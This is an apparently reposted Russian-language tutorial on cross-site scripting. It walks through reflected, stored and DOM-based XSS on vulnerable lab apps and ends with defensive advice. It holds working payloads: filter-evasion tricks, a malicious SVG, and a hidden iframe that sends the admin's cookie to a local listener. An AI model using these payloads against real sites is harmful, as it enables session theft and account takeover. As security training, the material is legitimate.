• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья XSS с самого начала. Разбираем на пальцах базовую веб-уязвимость

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,517
Розыгрыши
0
Реакции
888
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня поговорим о самой массовой уязвимости в веб‑приложениях — XSS. Я постараюсь растолковать суть этой проблемы на пальцах. Из этой статьи ты узнаешь, как отправить послание всем пользователям сайта, как устроить атаку на сайт при помощи файла SVG и как увести cookie админа.

warning​

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
XSS (Cross-Site Scription) — внедрение вредоносного кода на JavaScript в веб‑приложение. Атакующий ищет способ нарушить логику исполнения и вклинивается между приложением и пользователем. Результат атаки — выполнение действий от имени пользователя, кража данных (включая cookie), подмена любых данных на сайте, фишинг, перенаправление на сторонние ресурсы, основа для других векторов атаки.


Есть три основных типа XSS:

  • reflected (отраженная) — возникает, когда данные из запроса подставляются в ответ сервера без должной фильтрации;
  • stored (хранимая) — хакер может добавить вредоносный код в базу данных, который без фильтрации будет выведен на странице приложения;
  • DOM-based (основанная на DOM) — при этой уязвимости у атакующего есть возможность передать код на выполнение функции eval() или в тег innerHTML.
Все три типа XSS основаны на одной ошибке — плохой фильтрации данных, на которые пользователь может повлиять.


Отраженные XSS​

Представь, что тебе на почту прилетел промокод 01234 от какого‑то интернет‑магазина. Переходишь по ссылке в письме и видишь: «Ваш персональный промокод 01234, дает скидку 50%». Приятная скидка, но ты замечаешь параметр ?promo=01234 в URL. Пробуешь поменять на OLJSxksa858, и надпись меняется на «Ваш персональный промокод OLJSxksa858, дает скидку 50%». Пахнет прямым отражением параметра в контенте страницы. «Прямое отражение» значит, что сервер берет строку и без каких‑то серьезных манипуляций вставляет ее в ответ.

Первое — смотришь исходник в инспекторе объектов браузера, чтобы понять верстку и построить стратегию для теста:

<h3>Ваш персональный промокод OLJSxksa858, дает скидку 50%</h3>
Следующий шаг — вбить пейлоад для тестирования XSS: <script>alert("Pwned")script>. Жмешь Enter и видишь, как поверх страницы появляется сообщение со строкой Pwned. Поздравляю, ты нашел reflected XSS. То есть XSS, которая вызвана прямым отражением значения параметра из запроса в ответе сервера.

Смотри, как это может выглядеть на стороне сервера. Например, веб‑приложение на PHP с промокодами:

$promo = $_GET['promo'];
echo "<h3>Ваш персональный промокод: $promo, дает скидку 50%</h3>";
Скрипт выводит значение прямо в HTML, без какой‑либо фильтрации или санитизации. Код HTML, который браузер получит от сервера, будет выглядеть так:

<h3>Ваш персональный промокод <script>alert("Pwned")</script>, дает скидку 50%</h3>
Браузер, может, и решит, что разработчик не в своем уме, но команду выполнит. И это не совсем шутка: современные браузеры стараются защитить пользователей от подобных инъекций, но механизм защиты слабый. У браузера нет маркеров, чтобы надежно отделить код инъекции от кода, написанного разработчиком.

info​

Chrome и Firefox могут блокировать всплывающие окна команд alert(), prompt() и confirm(). Это защита от спама и вредоносных скриптов. Для подтверждения XSS лучше используй print() или console.log().
Алгоритм поиска reflected XSS выглядит так. Проверяем все возможные текстовые поля и параметры URL. Вводи уникальную ерунду, которой точно не будет на странице, например OISJDflkj349sdkljf0304. Когда получишь ответ сервера, жми Ctrl-F и ищи свою строку.

Возможно, придется закрыть тег или выйти за рамки текущего тега, внося изменения в HTML. Стоит об этом узнать заранее. Для этого пробуй добавить в строку спецсимволы: <, ', ", / и прочие. В ответе смотри, что произошло с указанными символами. Если видишь, что символы превратились в HTML-entity (&lt; вместо <) или еще как‑то изменились, скорее всего, на сервере есть фильтры или санитизация ввода. Если экранирования не произошло, ты на 99% наткнулся на уязвимость. Пробуй собрать рабочий пейлоад.

Тестировать лучше всего в Burp. Браузер может искажать вывод в инспекторе объектов или исходном коде страницы. Например, открой игру Для просмотра ссылки Войди или Зарегистрируйся, которую в Google разработали специально для изучения XSS. В первой задаче отправь что‑нибудь вроде <". При просмотре исходника HTML в браузере ты увидишь, что произошла подмена на \&lt;", и ошибочно решишь, что сайт безопасен. На самом деле подмену выполнил браузер! Отправь <script>script>, чтобы увидеть разницу.

Для просмотра ссылки Войди или Зарегистрируйся
Если хочешь работать в браузере, смотри вкладку «Сеть/Network». В сырых данных response искажений нет.

Для просмотра ссылки Войди или Зарегистрируйся
Чтобы собрать рабочий пейлоад, внимательно изучай HTML-код сайта. Иногда достаточно вставить <script>script>, иногда нужно добавить обработку события или что‑то еще. В примере с игрой Google задача решается просто:

<script>alert("Pwnded")</script>
В других случаях это не пройдет. Смотри на то место, где происходит вставка, и думай, как можно внедрить скрипт.

Для просмотра ссылки Войди или Зарегистрируйся

www​

Собрать рабочий пейлоад тебе помогут примеры в Для просмотра ссылки Войди или Зарегистрируйся.
Но вернемся к примеру с промокодами. Иногда разработчики добавляют промокоды в форму через скрытые поля. Например, так:

<input type="hidden" name="promo" value="012345" />
Как вылезти за рамки инпута и нахулиганить?

Обычная кавычка (") может сломать разметку элемента: <input type="hidden" name="promo" value="012345"" />. Появилась висящая кавычка. Браузер с ней справится и отбросит лишнее. Но теперь ты знаешь, что можешь управлять разметкой. Например, добавить событие для скрытого поля подобным пейлоадом:

" onfocus=alert(1) autofocus tabindex=1 accesskey="
Код формы примет такой вид:

<input type="hidden" name="promo" value="" onfocus=alert(1) autofocus tabindex=1 accesskey="" />
Полезная нагрузка закрывает кавычку для value и добавляет обработку события onfocus. При загрузке контента поле постарается получить фокус и сработает событие. Свойство accesskey нужно, чтобы убрать висящую кавычку и не нервировать браузер.

info​

Помни, что для браузера HTML-код — это просто текст, который нужно читать определенным образом, а подстановка происходит на уровне серверных скриптов. Твоя задача сводится к тому, чтобы разгадать, как происходит замена в тексте на сервере.
Каждый ресурс требует индивидуального подхода. В некоторых случаях script не пройдет фильтрацию. Тогда пробуй вариант через картинку: "> <img onerror=alert(1) src="x. Серверный скрипт закроет висящую кавычку и отдаст корректный HTML. Браузер добавит картинку и попробует загрузить ее по адресу x. Естественно, это поведение вызовет ошибку, и сработает событие onerror, в котором заготовлен наш код.

Байпас запуска функций​

Для вызова алерта я использовал alert(1). В классическом варианте при вызове функции alert нужно указывать строку, то есть обернуть аргумент в кавычки. Но фильтры могут заметить инъекцию. Чтобы этого избежать, есть масса вариантов обхода. Вот несколько примеров, которые могут показаться неожиданными:
// Вызов без круглых скобок
alert`1`;
// Снова без кавычек
alert(/1/);
// Передаем массив
alert([1]);
// Обращение к объекту self как к массиву
self["al"+"ert"](1);
// То же, но через top
top["alert"](1);
// Прячем вызов за ASCII
self[String.fromCharCode(97,108,101,114,116)](1);
// То же, но через Base64
self[atob`YWxlcnQ=`](1);
// С использованием объекта globalThis
globalThis[[]+atob`YWxlcnQ=`](1);
// Функцией source объекта RegEx получаем строку alert
self[/alert/.source](1);
Если фильтр работает по словарю запрещенных слов, тег script на 100% будет заблокирован. В этом случае попытайся понять, как именно происходит фильтрация. Ты можешь натолкнуться на фильтр, который выполняет только одну замену. Например, отправь пейлоад <scriptscript>. Сервер заменит первое вхождение script, и останется нужное тебе: <script>.
Иногда фильтр меняет все значения, но делает это в один проход. В этом случае проскочит <scrscriptipt>. Фильтр удалит script из центральной части, а крайние части сложатся в новый script.
Еще один способ байпаса — рандом‑кейс: ScRiPt. Подобную запись не увидит фильтр, который ищет точное совпадение.
Это малая часть вариантов, ищи как можно больше информации про обман фильтров и не стесняйся креативить при тестировании. Может быть, придумаешь что‑то, что еще никому не приходило в голову!
Владельцы сайтов редко серьезно воспринимают reflected XSS, считая это баловством. Что может произойти, если пользователь выведет в своем браузере сообщение или строчку в консоль? Но при определенных условиях отраженная XSS — мощное оружие в руках злоумышленника.

В 2015 году @mamyraimov написал Для просмотра ссылки Войди или Зарегистрируйся. Это была обычная reflected XSS в поиске по сайту. Но для компании она несла колоссальные риски. Дело в том, что тогда в сети свободно гуляла слитая база покупателей «Ламоды». В базе были в том числе имейлы пользователей. Еще не догадался, в чем проблема?

Используя XSS, хакеры могли подменить HTML-код страницы и сформировать фишинговую форму или выполнить другую атаку. Все, что оставалось сделать, — провести рассылку по готовой базе. Но уязвимость пофиксили без лишнего шума.

XSS в десктопных приложениях​

С ростом популярности веб‑технологий XSS вышли за рамки браузера. Многие кросс‑платформенные приложения созданы на основе технологий вроде Electron или Node.js, которые позволяют веб‑приложениям работать наравне с обычными программами.
Если авторы такого приложения не позаботились о фильтрации ввода и вывода, может всплыть XSS. В приложениях на Electron ситуация становится критической, если включена настройка nodeIntegration. Эта настройка дает доступ к Node.js API, что выводит приложение из веб‑песочницы сразу в ОС. Это прямой путь от XSS к RCE (Remote Code Execution). Для примера смотри Для просмотра ссылки Войди или Зарегистрируйся о CVE-2020-16608 в программе Notable версии 1.8.4.
Не думай, что этим грешат только мелкие проекты. Программисты из крупных и известных компаний тоже часто допускают такие оплошности. В 2020 году была найдена огромная дыра в популярном корпоративном мессенджере Slack. Slack долгое время работал с включенным nodeIntegration. Встроенный рендеринг позволял исполнить JavaScript — например, при отрисовке превью для внешних ссылок. Цепочка выполнения приводила к тому, что хакер мог запускать любую команду в операционной системе жертвы. В результате хакеры получали доступ к учетным данным администраторов и захватывали целые корпоративные сети.
Другие популярные десктопные приложения, в которых находили опасные XSS: Discord, Visual Studio Code, Skype, Signal Desktop, Everonet, Joplin. В популярном мессенджере WhatsApp Desktop находили множество XSS. Например, Для просмотра ссылки Войди или Зарегистрируйся.
Десктопные приложения — это не только то, что запускается на твоем компьютере. Терминалы оплат, киоски услуг и даже банкоматы чаще всего работают на базе ПК или неттопа. Приложения, в которые тыкает пользователь, часто представляют собой WebView (то есть встроенный браузер). Если есть WebView, есть угроза XSS.
Защититься от reflected XSS легко: фильтруй любой пользовательский ввод. Любой! Даже если это скрытые поля, которые генерирует твой код. Экранируй спецсимволы или заменяй их HTML-entity. Если твой код исправит < на \&lt;, у хакера почти не останется шансов.


Хранимые XSS​

Простой пример хранимой XSS — комментарии на сайте. Пишешь обычный комментарий, но в конце добавляешь <script>console.log("Pwnded")script>. Обновляешь страницу, открываешь консоль и видишь свое сообщение. Комментарий с вредоносным пейлоадом сохранился в базе данных. Отсюда и название «хранимая», или stored. Твой код выполнится в браузере каждого посетителя, который зашел на страницу.

Ищутся такие XSS примерно так же, как reflected, — тебе нужно проверить все поля, которые могут храниться в базе данных: текст комментария, email, имя пользователя, ссылку на сайт, любые текстовые описания.

Заголовки запросов тоже не игнорируй! Они могут попадать в уязвимую систему статистики — это тоже отдельный хороший вектор атаки. Например, Для просмотра ссылки Войди или Зарегистрируйся в FineCMS: для атаки хакер модифицировал заголовок User-Agent, поместив в него вредоносный пейлоад, который выполнится в админке. Другой пример — Для просмотра ссылки Войди или Зарегистрируйся в плагине WP Statistics: внедрение вредоноса через заголовок Referer.

Для практики давай запустим Для просмотра ссылки Войди или Зарегистрируйся (DVWA). Это специальное дырявое приложение, на котором легко демонстрировать, как работают уязвимости. Для развертывания я буду использовать Docker:

docker run -d -p 8081:80 vulnerables/web-dvwa
Открой страницу Для просмотра ссылки Войди или Зарегистрируйся, залогинься с кредами admin/password, при первом запуске нажми кнопку создания базы данных Create / Reset Database. Когда база создастся, залогинься с теми же данными и установи Security Level в Low.

Для просмотра ссылки Войди или Зарегистрируйся
В меню выбери XSS (Stored). И вот перед тобой уязвимая форма.

Оба поля не фильтруются, но мы атакуем Name. Кликни по полю правой кнопкой мыши, чтобы открыть в инспекторе объектов. Поле maxlength позволяет ввести только десять символов. Поменяй на сто и введи в поле Pwn <script>print(1)script>. После добавления комментария откроется окно печати. Обнови страницу, и снова появится окно печати. Значит, твой пейлоад попал в базу и каждый посетитель увидит результат работы скрипта!

Вместо вывода окна печати ты мог бы попытаться отправить document.cookie на свой сервер через fetch и таким образом украсть сессионную куки пользователя. Или назначить своего пользователя админом, если известна структура админки. Возможно, ты встречал на YouTube видео, где обычный пользователь WP становился админом через инъекцию JavaScript. Это результат работы хранимой XSS.

Для просмотра ссылки Войди или Зарегистрируйся
Для stored XSS необязательно, чтобы данные попали именно в базу. Давай для примера выполним атаку при помощи файла SVG. SVG — это всего лишь XML, который описывает векторное изображение, то есть атака проводится с помощью картинки!

info​

Веб‑мастера часто стараются заблокировать лишние возможности SVG — в том числе для защиты от хранимой XSS.
Есть разные виды атак на XML, но нас сейчас интересует возможность обработки события JavaScript onload.

Создай файл attack.svg с таким содержимым:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "Для просмотра ссылки Войди или Зарегистрируйся">
<svg version="1.1" baseProfile="full" xmlns="Для просмотра ссылки Войди или Зарегистрируйся" onload="alert('SVG XSS')">
<rect width="300" height="100" fill="blue"/>
<text x="50" y="50" font-size="20">XSS</text>
</svg>
В DVWA открой раздел File Upload. Выбери файл attack.svg и загрузи на сервер. После успешной загрузки DVWA вернет подсказку, как открыть загруженный файл. В URL браузера вместо решетки впиши ../../hackable/uploads/attack.svg, чтобы увидеть результат.

Для просмотра ссылки Войди или Зарегистрируйся
Браузер, открывая SVG, видит установленный обработчик события onload. Когда файл загружен в браузер, тот запускает обработчик. Демонстрация выглядит не особенно зрелищно, но что, если такое изображение установить аватаркой профиля? Вредоносный код выполнится у всех, кто увидит профиль!

Для просмотра ссылки Войди или Зарегистрируйся
Еще один хороший пример хранимой XSS — заражение лога. Для теста запустим еще одну популярную тестовую машину — Для просмотра ссылки Войди или Зарегистрируйся. Я снова использую Docker:

docker run -d -e "NODE_ENV=unsafe" -p 3000:3000 bkimminich/juice-shop

warning​

Обязательно включи режим unsafe, иначе атака не пройдет.
Чтобы пример был наглядным, украдем cookie админа. Тебе потребуется веб‑сервер, чтобы принять cookie. В этих целях можно использовать встроенные возможности интерпретатора Python: достаточно одной строчки, чтобы развернуть HTTP-сервер на его основе:

python -m http.server 8009
В профиле пользователя есть возможность посмотреть IP, с которого выполнялся последний логин. Веб‑приложение сохраняет IP при выходе из сессии, отправляя запрос на эндпоинт /rest/saveLoginIp. Твоя задача — перехватить этот запрос и модифицировать.

Для просмотра ссылки Войди или Зарегистрируйся
Для авторизации используй email admin@juice-sh.op и пароль admin123. Запусти Для просмотра ссылки Войди или Зарегистрируйся и включи Interception. Когда все будет готово, разлогинься, чтобы поймать запрос.

Веб‑приложение берет IP из HTTP-заголовка True-Client-IP. Его нет в запросе, поэтому давай добавим этот заголовок. В значение можем поместить любой текст, например 1.2.3.4.

Отправляем запрос и отключаем перехватчик в Burp. Логинимся снова, переходим на страницу Last Login IP — там должен появиться указанный нами текст. Либо можешь открыть в браузере URL Для просмотра ссылки Войди или Зарегистрируйся, в ответе увидишь JSON:

{
"user":{
"id":1,
"email":"admin@juice-sh.op",
"lastLoginIp":"1.2.3.4",
"profileImage":"assets/public/images/uploads/defaultAdmin.png"
}
}
Снова перехвати заголовок либо перекинь в Repeater старый запрос к /rest/saveLoginIp (приложение не сбрасывает токен). Добавь заголовок True-Client-IP, в значение введи

1.1.1.1<iframe src='javascript:window.location=http://127.0.0.1:8009/?cookie=+btoa(document.cookie)' style='display:none;'>
Для просмотра ссылки Войди или Зарегистрируйся
Если снова зайти на страницу с IP последнего логина, увидишь четыре единички из пейлоада. Вредоносную часть я спрятал, сделав элемент невидимым через display:none. Основной элемент атаки — тег iframe. Вместо загрузки источника iframe выполнит код

window.location=http://127.0.0.1:8009/?cookie=+btoa(document.cookie)
Ты редиректишь iframe на свой сервер. Работа проходит локально, поэтому адрес — 127.0.0.1:8009. В реальной жизни атакующий указывает свой домен. В параметр cookie попадут cookie, закодированные в Base64 функцией btoa. Кодирование нужно, чтобы случайный спецсимвол не нарушил работу команды.

Для просмотра ссылки Войди или Зарегистрируйся
Поздравляю! Ты только что увел cookie админа.

Хранимая XSS гораздо опаснее любой другой. Тебе не нужно распространять вредоносную ссылку, атаке подвергаются все посетители. Пейлоад может храниться годами, снабжая хакера конфиденциальной информацией. Например, воруя данные кредитных карт.

В отличие от отраженной XSS, при которой браузер или веб‑сервер могут порезать строку с GET-запросом, объем кода ограничен только настройками поля в базе данных. Например, в MySQL текстовое поле хранит до 64 Кбайт.

Если не используется заголовок Content-Security-Policy или политики настроены криво, хакер может выстроить многошаговую атаку, например пересылая на свой сервер информацию о закрытых разделах сайта. Админы чаще всего видят новые комментарии в виде HTML, а не в виде сырого текста. В таких случаях хакер получает возможность постепенно собирать информацию: текущий URL (админка может иметь случайный путь), полную копию HTML-страниц и что угодно еще. Если cookie сохраняются без флага httpOnly, хакер сразу сворует их и скопирует сессию админа в своем браузере.

В далеком 2006 году произошла легендарная атака на MySpace, которую называют Samy Worm. Тогда MySace позволял вставить произвольный HTML в поля профиля, в частности в поле Hero. Исследователь безопасности Сэми Камкар написал вредоносный скрипт, который за двадцать часов парализовал работу MySpace, заразив червем более миллиона профилей пользователей. Червь добавлял Камкара в друзья жертвы и копировал себя в блок Hero профиля жертвы. Таким образом червь распространялся экспоненциально.

Есть примеры других мощных атак вроде кражи данных карт покупателей British Airways. Скрипт тихонько отправлял введенные данные хакерам. Жертвами стали 380–430 тысяч человек, а может быть, и больше. Но именно атака Сэми Камкара показывает, насколько мощной и молниеносной может быть stored XSS.


DOM-based​

Этот тип атак основан на прямом изменении DOM скриптами сайта.

info​

DOM — представление HTML- или XML-документа в виде иерархии объектов (дерева), где каждый тег, текст или атрибут становится узлом. DOM позволяет при помощи кода на JavaScript читать, изменять, добавлять и удалять элементы страницы, динамически обновляя ее содержимое и поведение.
Давай разберем DOM-based XSS на практическом примере. Открой Для просмотра ссылки Войди или Зарегистрируйся. Под iframe с уязвимым сайтом есть ссылка toggle. Нажми на нее, чтобы увидеть исходный код уязвимой страницы.

Для просмотра ссылки Войди или Зарегистрируйся
При внимательном изучении ты найдешь функцию displayPosts() и строку, в которой напрямую меняется innerHTML. Это и есть изменение DOM скриптом.

info​

innerHTML — HTML-содержимое какого‑либо элемента DOM в виде строки. Через него можно получить или заменить разметку внутри элемента, что позволяет быстро обновлять часть страницы.
При динамической загрузке сообщений каждое из них оборачивается в набор тегов при помощи JavaScript и добавляется как HTML на сайт. Если хакер отправит в комментарии свой элемент, он тоже будет добавлен.

info​

Опасность DOM-based в том, что уязвимость никак не касается сервера. Остальные виды XSS взаимодействуют и с клиентской, и с серверной частью. Соответственно, разработчики имеют вдвое больше возможностей для санитизации и фильтрации вода. DOM-based практически не оставляет следов. Уязвимость может годами жить в клиенте и наносить ущерб владельцам и посетителям сайта, оставаясь незамеченной.
Чтобы решить задачу, отправь в комментарии <img src=x onerror=alert()>. Скрипт добавит текст комментария в переменную html. Параметр innerHTML на вход принимает текст, который потом парсит и создает элементы. Наткнувшись на твой img, скрипт создаст его и попробует загрузить несуществующее изображение. Ты уже знаешь, что будет дальше.

Если представить, что инъекция прописана в саму функцию, она выглядела бы так:

var html = '<table class="message"> <tr> <td valign=top> '
+ '<img src="/static/level2_icon.png"> </td> <td valign=top '
+ ' class="message-container"> <div class="shim"></div>';

html += '<b>You</b>';
html += '<span class="date">' + new Date(posts.date) + '</span>';

// Твоя замечательная атака:
html += "<blockquote>" + "<img src=x onerror=alert()>" + "</blockquote";

html += "</td></tr></table>"
containerEl.innerHTML += html;
Итоговый HTML комментария, который создаст displayPosts():

<table class="message">
<tbody>
<tr>
<td valign="top">
<img src="/static/level2_icon.png">
</td>
<td valign="top" class="message-container">
<div class="shim"></div>
<b>You</b>
<span class="date">Thu Dec 05 2025 15:15:13 GMT+0300 (Moscow Standard Time)</span>
<blockquote>
<!-- Твоя замечательная атака: -->
<img src="x" onerror="alert()">
</blockquote>
</td>
</tr>
</tbody>
</table>
Изменения в DOM можно вносить не только при помощи innerHTML. Ищи любые функции, влияющие на DOM: document.write, evel и даже изменение конкретных атрибутов тегов. Хороший пример есть в лабе Для просмотра ссылки Войди или Зарегистрируйся. На странице отправки отзыва есть код:

$(function() { $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath')); });
При помощи jQuery скрипт получает из URL параметр returnPath, который устанавливает в атрибут href ссылки. Обычная забота о пользователе: разработчик дал возможность вернуться на предыдущую страничку. Выглядит безопасно?

Хакеру достаточно подменить returnPath в URL браузера чем‑то вроде javascript:alert(document.cookie). Это один из случаев, когда можно прописать обработку события при помощи JavaScript. При клике по ссылке браузер поймет, что нужно не выполнять переход, а исполнять код на JavaScript. В данном случае — показать окно сообщения, содержащее cookie.


Защита от XSS​

Универсальной защиты от XSS не существует. Каждая рекомендация — это отдельный барьер на пути атакующего. Чем больше барьеров, тем выше стоимость атаки, а значит, ниже вероятность того, что хакер будет тратить свое время.

Санитизируй и фильтруй любой ввод и вывод. Хакер может подделать запрос или заставить пользователя перейти по ссылке с хитрым пейлоадом. Проверяй и перепроверяй все данные на клиенте и сервере. Вывод из базы данных или другого источника тоже нельзя считать надежным, ведь атакующий мог найти способ положить пейлоад в базу. Лучше, если любой вывод из базы данных будет проходить через мидл‑функцию с очисткой и экранированием данных. Неплохой вариант — Для просмотра ссылки Войди или Зарегистрируйся. Это быстрая библиотека на JavaScript, которая позволяет защититься от XSS.

Для фильтрации используй список запрещенных слов. Поиск стоп‑слов выполняй без учета регистра. Лучше, если поиск будет зациклен, пока есть хотя бы одно совпадение. Так ты спасешь себя от конструкций вроде scriscriscriptptpt. Но предусмотри экстренный выход: например, нужно прекращать вывод, если совпадений слишком много. Иначе дашь злоумышленнику шанс добиться DoS.

Настрой политики безопасности. Команда хорошо защищенного ресурса не пугается слов вроде SOP, CSP, CORS, COOP, COEP, CORP. Политики безопасности помогут усилить защиту и минимизировать ущерб, если атака прошла. Некоторые политики, например Trusted Types, заставят пересмотреть свой подход к коду, прямо запрещая уязвимые строки.

Используй сборщики вроде Webpack и Gulp, чтобы усложнить хакеру чтение твоего JS-кода. Во всех примерах, которые были в статье, код открытый. Не думай, что в жизни так не бывает. Большая часть JS-кода загружается в открытом виде.

Защити cookie, используй HttpOnly + SameSite, если это возможно. Если невозможно, привязывай сессию к конкретному устройству. Не позволяй увести аккаунт пользователя простым копированием кук.

Периодически проверяй свой ресурс хотя бы автоматическими сканерами. Есть огромное количество мощных бесплатных инструментов: OWASP Zap, Burp Community Edition, Nuclei + шаблоны XSS. Есть специализированные инструменты вроде Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся. Последние два могут быть староваты, но в некоторой степени эффективны.
 
Activity
So far there's no one here
Сверху Снизу